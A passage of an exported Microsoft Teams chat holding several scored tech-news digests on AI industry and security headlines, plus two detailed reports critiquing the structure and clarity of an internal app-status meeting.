Codex](https://www.techradar.com/pro/openais-latest-acquisition-could-see-big-changes-on-the-way-for-its-codex-coding-assistant)** \\\\- Score: 31/35. OpenAI's planned Ona acquisition targets persistent agent environments, a key building block for long-running Codex and workflow automation.\\n  3. **[Microsoft temporarily bans employees from Claude Fable 5](https://www.windowscentral.com/artificial-intelligence/microsoft-temporarily-ban-employees-from-using-claude-fable-5-ai)** \\\\- Score: 31/35. Anthropic data-retention changes triggered internal Microsoft restrictions, highlighting enterprise AI privacy and competitive-data risks.\\n  4. **[OpenAI weighs price cuts to compete with Anthropic](https://nypost.com/2026/06/11/business/openai-weighs-slashing-prices-in-attempt-to-lure-users-from-rival-anthropic-report/)** \\\\- Score: 30/35. Possible token-price cuts point to a broader AI pricing war that could change model selection and product economics for engineering teams.\\n  5. **[Enterprises are still unprepared to operationalize AI agents](https://www.itpro.com/technology/artificial-intelligence/most-enterprises-are-still-unprepared-to-operationalize-it-it-leaders-are-bullish-on-agents-but-keeping-falling-at-the-final-hurdle-heres-why)** \\\\- Score: 29/35. Forrester warns most agent projects remain pilots because governance, orchestration, data quality and security controls are not mature enough.\\n  6. **[Security at machine speed: why the SOC must be rebuilt](https://www.techradar.com/pro/security-at-machine-speed-why-the-soc-must-be-rebuilt-for-the-ai-era)** \\\\- Score: 29/35. AI-accelerated attacks are forcing SOC teams toward agentic detection, faster triage and new response metrics.\\n  7. **[CISA orders urgent patching for exploited Check Point VPN flaw](https://timesofindia.indiatimes.com/technology/tech-news/us-cybersecurity-agency-cisa-to-homeland-security-department-of-state-treasury-and-several-other-government-agencies-you-have-less-than-24-hours-to-fix-/articleshow/131630443.cms)** \\\\- Score: 29/35. Federal agencies were told to fix CVE-2026-50751 quickly, a reminder that VPN and identity-edge systems remain high-priority attack paths.\\n  8. **[Rule taxonomy and evolution in AI IDEs](https://arxiv.org/abs/2606.12231)** \\\\- Score: 28/35. Researchers mined 7,310 AI IDE rules, showing project-specific constraints improve compliance and are becoming real engineering artifacts.\\n  9. **[AI-driven software development: path to agentic processes](https://arxiv.org/abs/2606.15283)** \\\\- Score: 28/35. New research frames agentic development around context, permissions, logging, verification and human approval rather than simple code generation.\\n  10. **[Mining architectural quality under agentic AI adoption](https://arxiv.org/abs/2606.13298)** \\\\- Score: 27/35. A causal Java-repo study warns that architecture metrics can look better simply because AI-assisted codebases grow larger.\\n  11. **[Agentic AI-generated Julia code struggles at HPC scale](https://arxiv.org/abs/2606.16534)** \\\\- Score: 27/35. AI agents produced executable parallel Julia code, but larger HPC runs hit deadlocks, oversubscription and memory failures.\\n  12. **[Chaining tasks, redefining work: a theory of AI automation](https://arxiv.org/abs/2606.15960)** \\\\- Score: 26/35. A new automation model explains how AI changes jobs by chaining adjacent tasks, with implications for workflow and org design.\",\n>       \"created_at\": \"2026-06-17T10:37:33.287Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692120704\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692120704\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026\\n\\nReviewed 50+ recent items from Jun 10-17, 2026. Duplicate events from previous\\nChatReview news posts were skipped.\\n\\n  1. **[Anthropic export ban sounds alarms for AI industry](https://www.axios.com/2026/06/16/ai-anthropic-export-controls)** \\\\- Score: 34/35. U.S. controls on Anthropic's Fable/Mythos models raise access, safety and go-to-market risk for frontier AI customers.\\n  2. **[Microsoft turns to Amazon for help with GitHub's AI-driven capacity issues](https://www.businessinsider.com/microsoft-github-amazon-ai-cloud-capacity-2026-6)** \\\\- Score: 34/35. AI coding demand is straining GitHub; Microsoft is reportedly adding AWS capacity to reduce outages and keep developer workflows stable.\\n  3. **[SpaceX is buying AI coding startup Cursor for $60 billion](https://www.businessinsider.com/spacex-confirms-cursor-acquisition-60-billion-ai-coding-startup-2026-6)** \\\\- Score: 33/35. One of the largest AI developer-tool deals would fold Cursor into Musk's AI stack and reshape competition with Copilot, Codex and Claude Code.\\n  4. **[CISA tells US agencies to fix security bugs in as little as 3 days thanks to AI threats](https://www.wired.com/story/cisa-ai-vulnerability-directive)** \\\\- Score: 33/35. CISA's new BOD cuts critical vulnerability remediation to as little as three days, signaling faster patch SLAs for AI-era security.\\n  5. **[Microsoft weighs DeepSeek for Copilot Cowork](https://www.axios.com/2026/06/16/microsoft-copilot-cowork-tokenmaxxing-cowork)** \\\\- Score: 33/35. Microsoft may add Azure-hosted DeepSeek and move Copilot Cowork to usage pricing, highlighting cost pressure in enterprise AI agents.\\n  6. **[Visa to secure payments for shoppers on ChatGPT in OpenAI partnership](https://www.wsj.com/tech/ai/visa-to-secure-payments-for-shoppers-on-chatgpt-in-openai-partnership-7ece5b22)** \\\\- Score: 32/35. Visa and OpenAI are building controlled agent payments for ChatGPT, pushing agentic commerce toward real payment rails and merchant APIs.\\n  7. **[AI shifts cyber's hardest problem from finding flaws to fixing them](https://www.wsj.com/pro/cybersecurity/ai-shifts-cybers-hardest-problem-from-finding-flaws-to-fixing-them-43678882)** \\\\- Score: 32/35. Visa's AI security work argues the bottleneck is no longer finding bugs but validating, patching and testing fixes fast enough.\\n  8. **[Databricks releases general AI agents for businesses](https://www.wsj.com/cio-journal/databricks-releases-general-ai-agents-for-businesses-abffb409)** \\\\- Score: 31/35. Databricks launched Genie One, Genie Agents, App Builder and Genie Code, expanding from data platform into enterprise AI agent workflows.\\n  9. **[Arcade.dev raises $60 million to secure AI agents](https://www.wsj.com/cio-journal/arcade-dev-raises-60-million-to-secure-ai-agents-5d07eff4)** \\\\- Score: 31/35. Arcade's funding spotlights agent authorization: separating reasoning from actions, enforcing runtime policy and auditing MCP/A2A tool access.\\n  10. **[Microsoft walked away from a $3 billion Oracle cloud deal over security concerns](https://www.businessinsider.com/microsoft-was-in-talks-to-lease-oracle-compute-capacity-2026-6)** \\\\- Score: 31/35. Microsoft dropped an Oracle capacity deal over FedRAMP gaps, showing compliance is becoming a hard constraint in AI compute sourcing.\\n  11. **[HPE flexes Juniper muscles in AI networking at Discover event](https://www.investors.com/news/technology/hpe-stock-discover-conference-juniper-artificial-intelligence/)** \\\\- Score: 30/35. HPE is packaging Juniper networking into AI data-center and edge stacks, raising competition with Cisco, Arista and Nvidia networking.\\n  12. **[OpenAI hit with multistate probe into possible user harm as IPO looms](https://apnews.com/article/a95894407773307fae8ae3ce9742b586)** \\\\- Score: 30/35. A 42-state probe into OpenAI's data, ads, minors and safety practices may shape AI product governance and enterprise risk reviews.\\n  13. **[Rackspace stock surges on AMD data-center deal](https://www.barrons.com/articles/rackspace-stock-price-amd-data-center-deal-aebdbae1)** \\\\- Score: 29/35. Rackspace chose AMD as primary AI data-center supplier, part of a broader shift toward managed AI infrastructure outside hyperscaler clouds.\\n  14. **[Nvidia joins AI data-center borrowers as infrastructure debt surges](https://www.investors.com/news/technology/ai-data-centers-suppliers-nvidia-debt/)** \\\\- Score: 29/35. Nvidia's bond issue and rising AI data-center debt show how aggressively the industry is financing compute capacity through 2030.\\n  15. **[Databricks rolls out AI spend controls](https://www.axios.com/2026/06/16/databricks-stop-ai-overspend-tokenmaxxing)** \\\\- Score: 29/35. Databricks' Unity AI Gateway adds spend limits and runaway-use controls, a practical response to unpredictable agent/token costs.\",\n>       \"created_at\": \"2026-06-17T10:28:40.704Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604960018\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604960018\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Concise Version\\n\\n**Selected meeting:** Latest completed Fathom meeting, Apr 21, 2026. Reviewed\\nagainst the 20 most recent prior Jenish-recorded meetings. Sensitive details\\nremoved.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### Score Summary\\n\\n  * **Overall:** 4.3/10 - Needs Improvement\\n  * **Grammar:** 3/10 - Poor. Sentences were often incomplete or hard to parse. Some noise may come from transcription, but clarity still needs work.\\n  * **Communication:** 5/10 - Needs Improvement. Right topics were covered, but the meeting lacked structure and recap discipline.\\n  * **Client frustration handling:** 5/10 - Needs Improvement. Risk increases when questions repeat or timelines are not explained early.\\n\\n### What Went Well\\n\\n  * The team identified important risks: backend migration, login, TTS/audio, grammar correction, Roleplay, payment logic, and cleanup.\\n  * Action items were captured for documentation, testing, migration, and feature fixes.\\n  * Across recent meetings, access negotiation and production-risk planning have improved.\\n\\n### Top Issues By Business Impact\\n\\n  1. **High - unclear opening/context.** Evidence: 00:02 and 02:33. The meeting should start with goal, agenda, and expected output.\\n  2. **High - broad status request.** Evidence: 03:03. Ask by module: status, blocker, owner, due date, test proof.\\n  3. **High - migration discussion too unstructured.** Evidence: 18:37. Supabase, webhooks, TTS, queues, keys, and cleanup should be split into decisions.\\n  4. **Medium - repeated completion checks.** Evidence: 09:49, 18:08-18:20, 31:30-32:04. Repeating done/clear without feature names wastes time.\\n  5. **Medium - client delay concern pattern.** Evidence from prior client call: 35:01. The client had asked repeatedly about timing and still did not understand the delay.\\n\\n### Repeated / Unclear Questions\\n\\n  * **Unclear:** \u201cHow much complete and how much rest?\u201d   \\n**Better:** \u201cList each module with status, blocker, owner, due date, and test\\nevidence.\u201d\\n\\n  * **Unclear:** \u201cIs it done?\u201d   \\n**Better:** \u201cIs this implemented, tested on staging, and matching expected\\nbehavior?\u201d\\n\\n  * **Unclear:** \u201cCheck payment logic.\u201d   \\n**Better:** \u201cVerify purchase success, webhook update, entitlement allocation,\\nfailure handling, and refund/cancel behavior.\u201d\\n\\n### Trend Across Recent Meetings\\n\\n  * **Improved:** better access negotiation, better production rollback thinking, more consistent Fathom action-item capture.\\n  * **Still recurring:** weak English polish, unclear meeting control, repeated clarifications, technical detail before business impact, and reactive timeline explanations.\\n\\n### Recommended Actions\\n\\n  1. Use a fixed meeting checklist: agenda, modules, blockers, decisions, owners, dates.\\n  2. Ask one question at a time, then confirm: decision + owner + deadline + test evidence.\\n  3. Before asking the client for access/details, explain why it is needed.\\n  4. End every call with a 60-second recap and send written notes within 15 minutes.\\n\\n**Final recommendation:** Focus first on meeting structure. Grammar matters,\\nbut the biggest business improvement will come from agenda control, clearer\\nquestions, and consistent decision/owner/date recaps.\",\n>       \"created_at\": \"2026-06-16T10:16:00.018Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604667200\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604667200\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report\\n\\n**Selected meeting:** Most recent completed Fathom recording: Math IQ app\\nreview, Apr 21, 2026.\\n\\n**Trend context:** Reviewed the selected transcript plus the 20 most recent\\nprior Jenish-recorded Fathom meetings from Apr 20 to Feb 27, 2026. Detailed\\nline evidence is from the selected transcript plus two comparison transcripts.\\nSensitive client details have been removed.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.3/10 - Needs Improvement. Average of grammar, communication, and client-frustration handling.\\n  * **Grammar score:** 3/10 - Poor. Many captured sentences are incomplete, hard to parse, or use unclear word choices. Some may be Fathom transcription noise, but the call still reads difficult to follow.\\n  * **Communication score:** 5/10 - Needs Improvement. The meeting covered the right technical areas, but structure, ownership, and recap discipline were weak.\\n  * **Client-frustration handling score:** 5/10 - Needs Improvement. Latest call was mostly internal, but the broader pattern shows risk when timeline, access, or reason-for-question is not explained before asking for details.\\n  * **Client frustration risk:** 4/10 in the selected internal meeting; higher in client meetings when repeated clarifications or timeline delays appear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting reviewed Math IQ app status, Flutter/backend architecture,\\nmigration from cloud functions to Supabase, push notifications, Google login,\\nTTS/audio playback, grammar correction, Learn Flow, Roleplay, referral\\nhandling, scheduled notifications, payment logic, and documentation. The team\\ndid surface useful tasks, but the conversation was difficult to follow because\\nseveral requests were broad, repeated, or missing a clear\\nowner/date/acceptance-criteria recap.\\n\\n### 3\\\\. What Went Well\\n\\n  * Important technical risks were raised, including backend migration, payment logic, TTS/audio, login, and production cleanup.\\n  * The team did identify concrete follow-ups such as documentation, migration cleanup, feature fixes, testing, and disabling non-priority items.\\n  * Across prior meetings, access negotiation improved: when code access was not available, tester/app access was accepted as a practical alternative.\\n  * In the Apr 6 comparison meeting, rollout risk thinking was stronger: backend first, app submissions separately, rollback if needed, and user migration planning.\\n\\n### 4\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact - Unclear opening and context.** Evidence: selected transcript L1 @ 00:02 and L2 @ 02:33. The opening did not clearly state agenda, meeting goal, or expected output, which makes the meeting harder to control.\\n  2. **High impact - Broad status request without a checklist.** Evidence: L3 @ 03:03 asked for what is complete and what remains, but not by module, blocker, owner, or due date. This increases risk of missed scope.\\n  3. **High impact - Technical migration discussion lacked decision framing.** Evidence: L6 @ 18:37 covered Supabase migration, webhooks, TTS, queues, keys, and removed tables in one long block. This should have been split into clear decisions and owners.\\n  4. **High impact - Vague task handoff.** Evidence: L11 @ 30:53 asked to check payment logic, but did not define expected behavior, test cases, failure states, or success criteria.\\n  5. **Medium impact - Repeated completion checks.** Evidence: L4 @ 09:49, L5 @ 18:08-18:20, L8 @ 24:15, and L12 @ 31:30-32:04. Repeating done/complete/clear without a precise feature name can waste time and create confusion.\\n  6. **Medium impact - Client delay concern pattern.** Evidence: Apr 6 comparison transcript T2 @ 35:01. The client indicated they had asked repeatedly about timing and still did not understand the delay. This is a trust risk if not acknowledged early.\\n  7. **Low to medium impact - Meeting close was too weak.** Evidence: L13 @ 32:22-32:35. The call ended without a crisp recap of decisions, owners, deadlines, and risks.\\n\\n### 5\\\\. Missed Opportunities\\n\\n  * Start with a 30-second agenda: status, blockers, migration, bugs, owners, deadlines.\\n  * Use a module checklist instead of broad questions like what is complete and what is remaining.\\n  * After each answer, repeat the decision, owner, deadline, and test evidence.\\n  * Explain why access or technical details are needed before asking the client for them.\\n  * Separate internal debugging from client-facing business impact.\\n  * End with a written recap promise and send it immediately after the meeting.\\n\\n### 6\\\\. Repeated Questions\\n\\n  * Completion checks repeated without enough specificity: done, complete, clear, okay.\\n  * Testing questions repeated around Google login, TTS/audio, grammar correction, Roleplay, and notifications.\\n  * Some follow-up was necessary because the transcript was unclear, but repetition could be reduced by keeping a visible checklist and closing each topic before moving on.\\n\\n### 7\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell how much is complete and how much is remaining. **Better:** Please list each module with status, blocker, owner, due date, and test evidence.\\n  * **Unclear:** Do we use Firebase? **Better:** Are we using Firebase for push notifications only, or also auth, database, cloud functions, or analytics?\\n  * **Unclear:** Is it done? **Better:** Is this feature implemented, tested on staging, and verified against the expected behavior?\\n  * **Unclear:** Check payment logic. **Better:** Verify purchase success, webhook update, entitlement allocation, failure handling, and refund/cancel behavior.\\n\\n### 8\\\\. Necessary Follow-Up Vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for tester access before estimating or quoting.\\n  * Confirming which backend services still depend on cloud functions.\\n  * Confirming whether login, audio/TTS, grammar correction, and Roleplay are actually tested.\\n  * Asking about production rollout, app approval risk, rollback, and user migration.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete/done/clear after the same answer without narrowing the exact feature.\\n  * Re-asking information that should be captured in the checklist.\\n  * Continuing a topic after owner and action are already known instead of closing it.\\n\\n### 9\\\\. Root Causes Of Client Frustration\\n\\n  * Questions are sometimes asked before the business reason is explained.\\n  * Clients may hear repeated technical questions as uncertainty rather than discovery.\\n  * Timeline or delay explanations are sometimes reactive instead of proactive.\\n  * Broad questions create extra clarification work for the client.\\n  * Missing recap discipline means decisions may need to be repeated in future calls.\\n\\n### 10\\\\. Communication Pattern Trend Across Recent Meetings\\n\\n**Improved over time:**\\n\\n  * Access negotiation became more practical: the Apr 20 call moved from code access to tester/app access without blocking the quote process.\\n  * Risk planning improved in production-launch discussions, especially rollback and user migration.\\n  * Fathom action-item capture has become more consistent in recent calls.\\n  * Recent meetings show better awareness of dependencies across backend, app stores, payments, and user impact.\\n\\n**Recurring weaknesses still showing up:**\\n\\n  * English polish and sentence clarity remain weak in client-facing explanations.\\n  * Meeting control is inconsistent: agenda, topic boundaries, and recap are not always clear.\\n  * Broad questions and repeated clarifications keep appearing in technical meetings.\\n  * Business-impact framing often comes after technical details instead of before them.\\n  * Timeline expectations need more proactive communication before the client asks again.\\n\\n### 11\\\\. Recommended Actions\\n\\n  1. **Before each meeting:** Prepare a one-page checklist with agenda, modules, open questions, risks, and required decisions.\\n  2. **During the meeting:** Ask one question at a time, then confirm: decision, owner, due date, and test evidence.\\n  3. **For client questions:** Start with why the detail is needed, then ask the question.\\n  4. **For technical handoffs:** Use Feature / Expected behavior / Current issue / Owner / Due date / Test case.\\n  5. **After the meeting:** Send a recap within 15 minutes with decisions, owners, deadlines, and risks.\\n\\n### 12\\\\. Useful Replacement Phrases\\n\\n  * **Instead of:** Can you give access? **Say:** To estimate accurately, I need tester access to verify the current flow. Code access is not required at this stage.\\n  * **Instead of:** Is this done? **Say:** Can you confirm whether this feature is implemented, tested on staging, and matching the expected behavior?\\n  * **Instead of:** Why delay? **Say:** The delay is due to these risks: approval timing, backend compatibility, and rollback planning. Here is the current plan and fallback.\\n  * **Instead of:** Check this logic. **Say:** Please verify these five cases and report pass/fail with screenshots or logs.\\n\\n### Final Recommendation\\n\\nThe biggest improvement will come from structure, not only grammar. Use a\\nfixed meeting format: agenda, checklist, one question at a time, recap after\\neach topic, and final owner/date/action summary. Grammar practice is still\\nimportant, especially for client-facing estimation, risk, and timeline\\ncommunication.\",\n>       \"created_at\": \"2026-06-16T10:11:07.2Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781174202082\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781174202082\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026** 1\\\\. [Deep dive: How Lightning\\nEngine delivers 4.9x faster Apache Spark\\nperformance](https://cloud.google.com/blog/products/data-analytics/lighting-\\nengine-for-apache-spark-performance-deep-dive/) - AI/cloud update that may\\naffect model access, deployment choices, developer workflows, or platform\\nstrategy. 2\\\\. [Choosing your surface: Antigravity 2.0, Antigravity CLI,\\nAntigravity IDE, or Antigravity\\nSDK](https://cloud.google.com/blog/topics/developers-practitioners/choosing-\\nyour-surface-antigravity-20-antigravity-cli-antigravity-ide-or-antigravity-\\nsdk/) - AI/cloud update that may affect model access, deployment choices,\\ndeveloper workflows, or platform strategy. 3\\\\. [Amazon SageMaker Unified\\nStudio Notebooks now support EMR Serverless](https://aws.amazon.com/about-\\naws/whats-new/2026/06/amazon-sagemaker-unified-studio-emr/) - AI/cloud update\\nthat may affect model access, deployment choices, developer workflows, or\\nplatform strategy. 4\\\\. [Amazon EC2 P6-B200 instances are now available in the\\nAWS GovCloud (US-East) Region](https://aws.amazon.com/about-aws/whats-\\nnew/2026/06/amazon-ec2-p6-b200-aws-govcloud/) - AI/ML update that may affect\\ndeveloper workflows, product strategy, platforms, or technical roadmaps. 5\\\\.\\n[Datadog veterans launch AI coding startup Niteshift on a bet against Big AI\\nlock-in](https://techcrunch.com/2026/06/10/datadog-veterans-launch-ai-coding-\\nstartup-niteshift-on-a-bet-against-big-ai-lock-in/) - AI coding agent startup\\nNiteshift has raised a $7 million seed round from a who's who of angels. It's\\nbetting companies will want power over, not lock-in with model makers. 6\\\\.\\n[For the 2nd time in weeks, Microsoft packages laced with credential\\nstealer](https://arstechnica.com/security/2026/06/for-the-2nd-time-in-weeks-\\nmicrosoft-packages-laced-with-credential-stealer/) - 73 packages run self-\\nreplicating stealer as soon as they're opened by an AI agent. 7\\\\. [Microsoft\\nand Adobe Patch Tuesday, June 2026 Security Update Review -\\nQualys](https://news.google.com/rss/articles/CBMizgFBVV95cUxNcWl1enRmR2J0R24zNUtZcDRrX3VSZTJCNHkxelZxaVgxeUJ5dnhkRTlLN0JuSXlkLVVCa2tySzVxZHUwOTdPcnNUXzR6V1FSTkdWWDVVeUoxYTlhSVVVRzRxRkNlM1ZUYjNJS0F2Y3pzeWxvRXUtaFpyVU9XSVoteDVFNGE5Z01od3hQbVJIeUVWRXBTNkMwZmVIUzJsZGp5cTV2aUp0dUpkSTVaNF8yX0VLQ2xvM1p5Snl1TEg3TVNZd2FuLUVnUU5YbTJIUQ?oc=5)\\n- Security, privacy, or infrastructure update relevant to technical leaders\\nand platform teams. 8\\\\. [PRC-linked influence operations are targeting AI\\ndebates in the US](https://openai.com/index/prc-linked-influence-operations-\\nai-debates) - AI/ML update that may affect developer workflows, product\\nstrategy, platforms, or technical roadmaps. 9\\\\. [Spec-Driven Development: A\\nSpec-First Approach to AI-Native\\nEngineering](https://devblogs.microsoft.com/blog/spec-driven-development-ai-\\nnative-engineering) - AI/ML update that may affect developer workflows,\\nproduct strategy, platforms, or technical roadmaps. 10\\\\. [Angry bug hunter\\nwith Microsoft beef drops new Windows\\n0-day](https://www.theregister.com/security/2026/06/10/nightmare-eclipse-\\npublishes-new-windows-defender-zero-day/5253725) - Revenge is a dish best\\nserved code 11\\\\. [Tumeryk joins Cloud Security Alliance on AI risk scoring -\\nSecurityBrief\\nUK](https://news.google.com/rss/articles/CBMilAFBVV95cUxQTTBPM0NJVk51OC1DNFVtcEFsUEhDMmlEWUZXRHN4QWpMSkNhbFZ2bzVndklMREg4MUE5cFo2akFhbk1hNi1qUGJ6RVI1eHJ0UDlNUnZWclhCT1Y3ckd3ZXhYUHhkem96WjY5TjFwcnJ5Si1KbVQyQVZ2eGprMl9MTTJsSFJDZDFaSnExdFdtbFNpMmZM?oc=5)\\n- AI/ML update that may affect developer workflows, product strategy,\\nplatforms, or technical roadmaps. 12\\\\. [Microsoft fixes BitLocker recovery bug\\non Windows Server\\n2025](https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-\\nbitlocker-recovery-bug-on-windows-server-2025/) - Security, privacy, or\\ninfrastructure update relevant to technical leaders and platform teams.\",\n>       \"created_at\": \"2026-06-11T10:36:42.082Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173819999\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173819999\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Seeking Counsel: Ongoing Targeted Campaign Against US Law Firms](https://cloud.google.com/blog/topics/threat-intelligence/targeted-campaign-us-law-firms/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  2. [Report: GKE Inference Gateway delivers up to 92% faster AI responses](https://cloud.google.com/blog/products/containers-kubernetes/gke-inference-gateway-prefix-caching-accelerates-ai-inference/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  3. [Amazon EC2 M9g and M9gd general purpose instances are now available](https://aws.amazon.com/about-aws/whats-new/2026/06/ec2-m9g-m9gd-instances-graviton5-processors-available) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  4. [Run Interactive Workloads on Amazon EMR Serverless with Spark Connect](https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-emr-serverless-spark-connect) \\\\- Cloud or developer-platform update for teams managing infrastructure, deployments, or engineering workflows.\\n  5. [From data to decisions: how LSEG is scaling trusted AI](https://openai.com/index/lseg) \\\\- See how LSEG uses OpenAI to scale trusted AI across its global business, accelerating insights, shrinking release cycles, and empowering 4,000 employees.\\n  6. [TCS and Anthropic launch Global Premier Partnership to drive Enterprise AI scaling - Tata Consultancy Services](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOOHNkYWdNVUtBc3lEOHFLd2RwQ1FoeE0xZXRIWTFYTzd5bFdjQ3kycXVWQ3Q4ZExGSE5zT2t5MUFFMmJ3enBJVnQ3VlhpX3NrNlM3Sldyb1V4SVVVcWhhaVU1aUNwSmVjdnI0Wi1YQ2ZWRFJJQkR4WG1LNUJYVGg4RkdhZkktZ3hQeS1EYTdDdHZjZGtnVTNnWGxtZ052V2FNajFuQlNQMXlwc0lTaFc2TTJpNTJIaEx5RnNvQ3FNLXFkUkFLREpDRA?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Introducing the OpenAI Economic Research Exchange](https://openai.com/index/economic-research-exchange) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  8. [Kalshi adds required employment verification for some prediction market bets](https://www.theverge.com/business/948083/kalshi-prediction-markets-insider-trading) \\\\- The CFTC is considering its first regulation for prediction markets, as arrests over insider trading continue to stack up.\\n  9. [The Miasma worm source code briefly leaked on GitHub](https://www.bleepingcomputer.com/news/security/the-miasma-worm-source-code-briefly-leaked-on-github/) \\\\- The Miasma credential-stealing attack framework, which has recently targeted open-source ecosystems through supply-chain attacks, was briefly open-sourced on GitHub.\\n  10. [Microsoft Build 2026 recap: vision, launches, and top sessions](https://devblogs.microsoft.com/blog/build-recap) \\\\- Technology update likely relevant to software teams, technical leaders, or platform decision-makers.\\n  11. [Google Cloud unpacks governance challenges of AI agents - Computer Weekly](https://news.google.com/rss/articles/CBMiowFBVV95cUxOMHpUU0FSaUhFVFR2T0stZmM3c3VFZm94cjh1aTFkdmxIU1JDeVlUNlVRUWtTLWdMTHFpVVB0LUJ6b3FscTVncDJnMG1JclFLNzVhWjctblZiMmQtdmVYUkZ4S0dmNUhRSG1FcTZFaWx4Rks5VUNleC1yZmxXUXhrMmhMVnZVejFjUzhwNVpTWk9vNWZvNFY0cmRlQi1wTUpMZ3lv?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  12. [GitHub announces npm security changes to tackle supply-chain attacks](https://www.bleepingcomputer.com/news/security/github-announces-npm-security-changes-to-tackle-supply-chain-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Cohere releases North Mini Code, a 30B parameter open-source coding model built for enterprise developers - Crypto 